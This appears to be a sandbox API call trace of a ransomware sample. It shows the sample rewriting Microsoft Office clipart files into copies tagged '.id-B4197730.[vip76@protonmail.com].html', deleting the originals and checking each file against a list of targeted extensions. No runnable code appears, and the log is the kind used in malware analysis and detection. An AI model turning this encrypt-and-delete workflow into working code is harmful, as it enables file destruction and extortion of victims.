	[0199.356] ReadFile (in: hFile=0x5c4, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x12b4, lpOverlapped=0x0) returned 1
	[0199.620] WriteFile (in: hFile=0x368, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0x12c0, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0x12c0, lpOverlapped=0x0) returned 1
	[0199.635] ReadFile (in: hFile=0x5c4, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0199.635] WriteFile (in: hFile=0x368, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0199.635] SetEndOfFile (hFile=0x368) returned 1
	[0199.635] CloseHandle (hObject=0x368) returned 1
	[0199.635] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0199.635] SetEndOfFile (hFile=0x5c4) returned 1
	[0199.638] CloseHandle (hObject=0x5c4) returned 1
	[0199.638] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0200.290] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107746.wmf")) returned 1
	[0200.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF") returned 68
	[0200.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF") returned 68
	[0200.409] lstrlenW (lpString=".doc") returned 4
	[0200.409] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0200.409] lstrlenW (lpString=".docx") returned 5
	[0200.409] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0200.409] lstrlenW (lpString=".pdf") returned 4
	[0200.409] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0200.409] lstrlenW (lpString=".xls") returned 4
	[0200.409] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0200.409] lstrlenW (lpString=".xlsx") returned 5
	[0200.409] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0200.409] lstrlenW (lpString=".ppt") returned 4
	[0200.409] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0200.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF") returned 68
	[0200.410] lstrlenW (lpString=".zip") returned 4
	[0200.410] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0200.410] lstrlenW (lpString=".rar") returned 4
	[0200.410] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0200.410] lstrlenW (lpString=".bz2") returned 4
	[0200.410] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0200.410] lstrlenW (lpString=".7z") returned 3
	[0200.410] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0200.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF") returned 68
	[0200.410] lstrlenW (lpString=".dbf") returned 4
	[0200.410] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0200.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF") returned 68
	[0200.410] lstrlenW (lpString=".1cd") returned 4
	[0200.410] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0200.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF") returned 68
	[0200.410] lstrlenW (lpString=".jpg") returned 4
	[0200.410] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0200.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF") returned 68
	[0200.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF") returned 68
	[0200.410] lstrlenW (lpString=".doc") returned 4
	[0200.410] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0200.410] lstrlenW (lpString=".docx") returned 5
	[0200.410] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0200.410] lstrlenW (lpString=".pdf") returned 4
	[0200.410] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0200.410] lstrlenW (lpString=".xls") returned 4
	[0200.410] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0200.410] lstrlenW (lpString=".xlsx") returned 5
	[0200.410] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0200.411] lstrlenW (lpString=".ppt") returned 4
	[0200.411] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0200.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF") returned 68
	[0200.411] lstrlenW (lpString=".zip") returned 4
	[0200.411] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0200.411] lstrlenW (lpString=".rar") returned 4
	[0200.411] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0200.411] lstrlenW (lpString=".bz2") returned 4
	[0200.411] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0200.411] lstrlenW (lpString=".7z") returned 3
	[0200.411] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0200.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF") returned 68
	[0200.411] lstrlenW (lpString=".dbf") returned 4
	[0200.411] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0200.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF") returned 68
	[0200.411] lstrlenW (lpString=".1cd") returned 4
	[0200.411] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0200.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF") returned 68
	[0200.411] lstrlenW (lpString=".jpg") returned 4
	[0200.411] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0200.411] lstrcmpiW (lpString1=".JPG", lpString2=".html") returned 1
	[0200.411] lstrlenW (lpString="J0145361.JPG") returned 12
	[0200.411] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145361.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594
	[0200.494] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=21125) returned 1
	[0200.494] CloseHandle (hObject=0x594) returned 1
	[0200.494] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145361.jpg")) returned 0x220
	[0200.494] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145361.jpg.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0200.494] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145361.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594
	[0200.494] SetFilePointerEx (in: hFile=0x594, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0200.494] SetFilePointerEx (in: hFile=0x594, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0200.494] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145361.jpg.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x500
	[0200.495] GetLastError () returned 0x0
	[0200.495] ReadFile (in: hFile=0x594, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x5285, lpOverlapped=0x0) returned 1
	[0200.498] WriteFile (in: hFile=0x500, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0x5290, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0x5290, lpOverlapped=0x0) returned 1
	[0200.499] ReadFile (in: hFile=0x594, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0200.499] WriteFile (in: hFile=0x500, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0200.499] SetEndOfFile (hFile=0x500) returned 1
	[0200.499] CloseHandle (hObject=0x500) returned 1
	[0200.499] SetFilePointerEx (in: hFile=0x594, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0200.499] SetEndOfFile (hFile=0x594) returned 1
	[0200.502] CloseHandle (hObject=0x594) returned 1
	[0200.503] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0200.503] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145361.jpg")) returned 1
	[0200.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG") returned 68
	[0200.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG") returned 68
	[0200.504] lstrlenW (lpString=".doc") returned 4
	[0200.504] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0200.504] lstrlenW (lpString=".docx") returned 5
	[0200.504] lstrcmpiW (lpString1=".docx", lpString2="1.JPG") returned -1
	[0200.504] lstrlenW (lpString=".pdf") returned 4
	[0200.504] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0200.504] lstrlenW (lpString=".xls") returned 4
	[0200.504] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0200.504] lstrlenW (lpString=".xlsx") returned 5
	[0200.504] lstrcmpiW (lpString1=".xlsx", lpString2="1.JPG") returned -1
	[0200.504] lstrlenW (lpString=".ppt") returned 4
	[0200.504] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0200.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG") returned 68
	[0200.504] lstrlenW (lpString=".zip") returned 4
	[0200.504] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0200.504] lstrlenW (lpString=".rar") returned 4
	[0200.504] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0200.504] lstrlenW (lpString=".bz2") returned 4
	[0200.504] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0200.504] lstrlenW (lpString=".7z") returned 3
	[0200.505] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0200.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG") returned 68
	[0200.505] lstrlenW (lpString=".dbf") returned 4
	[0200.505] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0200.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG") returned 68
	[0200.505] lstrlenW (lpString=".1cd") returned 4
	[0200.505] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0200.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG") returned 68
	[0200.505] lstrlenW (lpString=".jpg") returned 4
	[0200.505] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0200.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG") returned 68
	[0200.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG") returned 68
	[0200.505] lstrlenW (lpString=".doc") returned 4
	[0200.505] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0200.505] lstrlenW (lpString=".docx") returned 5
	[0200.505] lstrcmpiW (lpString1=".docx", lpString2="1.JPG") returned -1
	[0200.505] lstrlenW (lpString=".pdf") returned 4
	[0200.505] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0200.505] lstrlenW (lpString=".xls") returned 4
	[0200.505] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0200.505] lstrlenW (lpString=".xlsx") returned 5
	[0200.505] lstrcmpiW (lpString1=".xlsx", lpString2="1.JPG") returned -1
	[0200.505] lstrlenW (lpString=".ppt") returned 4
	[0200.505] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0200.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG") returned 68
	[0200.505] lstrlenW (lpString=".zip") returned 4
	[0200.505] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0200.505] lstrlenW (lpString=".rar") returned 4
	[0200.505] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0200.506] lstrlenW (lpString=".bz2") returned 4
	[0200.506] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0200.506] lstrlenW (lpString=".7z") returned 3
	[0200.506] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0200.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG") returned 68
	[0200.506] lstrlenW (lpString=".dbf") returned 4
	[0200.506] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0200.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG") returned 68
	[0200.506] lstrlenW (lpString=".1cd") returned 4
	[0200.506] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0200.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG") returned 68
	[0200.506] lstrlenW (lpString=".jpg") returned 4
	[0200.506] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0200.506] lstrcmpiW (lpString1=".JPG", lpString2=".html") returned 1
	[0200.506] lstrlenW (lpString="J0145373.JPG") returned 12
	[0200.506] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145373.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594
	[0200.507] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=17867) returned 1
	[0200.508] CloseHandle (hObject=0x594) returned 1
	[0200.509] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145373.jpg")) returned 0x220
	[0200.509] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145373.jpg.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0200.510] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145373.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594
	[0200.510] SetFilePointerEx (in: hFile=0x594, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0200.510] SetFilePointerEx (in: hFile=0x594, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0200.510] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145373.jpg.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x500
	[0200.511] GetLastError () returned 0x0
	[0200.511] ReadFile (in: hFile=0x594, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x45cb, lpOverlapped=0x0) returned 1
	[0200.513] WriteFile (in: hFile=0x500, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0x45d0, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0x45d0, lpOverlapped=0x0) returned 1
	[0200.514] ReadFile (in: hFile=0x594, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0200.514] WriteFile (in: hFile=0x500, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0200.515] SetEndOfFile (hFile=0x500) returned 1
	[0200.515] CloseHandle (hObject=0x500) returned 1
	[0200.515] SetFilePointerEx (in: hFile=0x594, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0200.515] SetEndOfFile (hFile=0x594) returned 1
	[0200.518] CloseHandle (hObject=0x594) returned 1
	[0200.518] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0200.519] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145373.jpg")) returned 1
	[0200.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG") returned 68
	[0200.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG") returned 68
	[0200.520] lstrlenW (lpString=".doc") returned 4
	[0200.520] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0200.520] lstrlenW (lpString=".docx") returned 5
	[0200.520] lstrcmpiW (lpString1=".docx", lpString2="3.JPG") returned -1
	[0200.520] lstrlenW (lpString=".pdf") returned 4
	[0200.520] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0200.520] lstrlenW (lpString=".xls") returned 4
	[0200.520] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0200.520] lstrlenW (lpString=".xlsx") returned 5
	[0200.520] lstrcmpiW (lpString1=".xlsx", lpString2="3.JPG") returned -1
	[0200.520] lstrlenW (lpString=".ppt") returned 4
	[0200.520] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0200.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG") returned 68
	[0200.520] lstrlenW (lpString=".zip") returned 4
	[0200.520] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0200.520] lstrlenW (lpString=".rar") returned 4
	[0200.520] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0200.520] lstrlenW (lpString=".bz2") returned 4
	[0200.520] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0200.520] lstrlenW (lpString=".7z") returned 3
	[0200.520] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0200.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG") returned 68
	[0200.520] lstrlenW (lpString=".dbf") returned 4
	[0200.520] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0200.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG") returned 68
	[0200.520] lstrlenW (lpString=".1cd") returned 4
	[0200.520] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0200.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG") returned 68
	[0200.520] lstrlenW (lpString=".jpg") returned 4
	[0200.520] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0200.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG") returned 68
	[0200.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG") returned 68
	[0200.521] lstrlenW (lpString=".doc") returned 4
	[0200.521] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0200.521] lstrlenW (lpString=".docx") returned 5
	[0200.521] lstrcmpiW (lpString1=".docx", lpString2="3.JPG") returned -1
	[0200.521] lstrlenW (lpString=".pdf") returned 4
	[0200.521] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0200.521] lstrlenW (lpString=".xls") returned 4
	[0200.521] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0200.521] lstrlenW (lpString=".xlsx") returned 5
	[0200.521] lstrcmpiW (lpString1=".xlsx", lpString2="3.JPG") returned -1
	[0200.521] lstrlenW (lpString=".ppt") returned 4
	[0200.521] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0200.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG") returned 68
	[0200.521] lstrlenW (lpString=".zip") returned 4
	[0200.521] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0200.521] lstrlenW (lpString=".rar") returned 4
	[0200.521] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0200.521] lstrlenW (lpString=".bz2") returned 4
	[0200.521] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0200.521] lstrlenW (lpString=".7z") returned 3
	[0200.521] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0200.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG") returned 68
	[0200.521] lstrlenW (lpString=".dbf") returned 4
	[0200.521] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0200.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG") returned 68
	[0200.521] lstrlenW (lpString=".1cd") returned 4
	[0200.521] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0200.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG") returned 68
	[0200.522] lstrlenW (lpString=".jpg") returned 4
	[0200.522] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0200.522] lstrcmpiW (lpString1=".JPG", lpString2=".html") returned 1
	[0200.522] lstrlenW (lpString="J0145669.JPG") returned 12
	[0200.522] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145669.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594
	[0200.523] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=31850) returned 1
	[0200.523] CloseHandle (hObject=0x594) returned 1
	[0200.523] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145669.jpg")) returned 0x220
	[0200.523] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145669.jpg.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0200.523] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145669.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594
	[0200.523] SetFilePointerEx (in: hFile=0x594, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0200.523] SetFilePointerEx (in: hFile=0x594, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0200.523] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145669.jpg.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x500
	[0200.525] GetLastError () returned 0x0
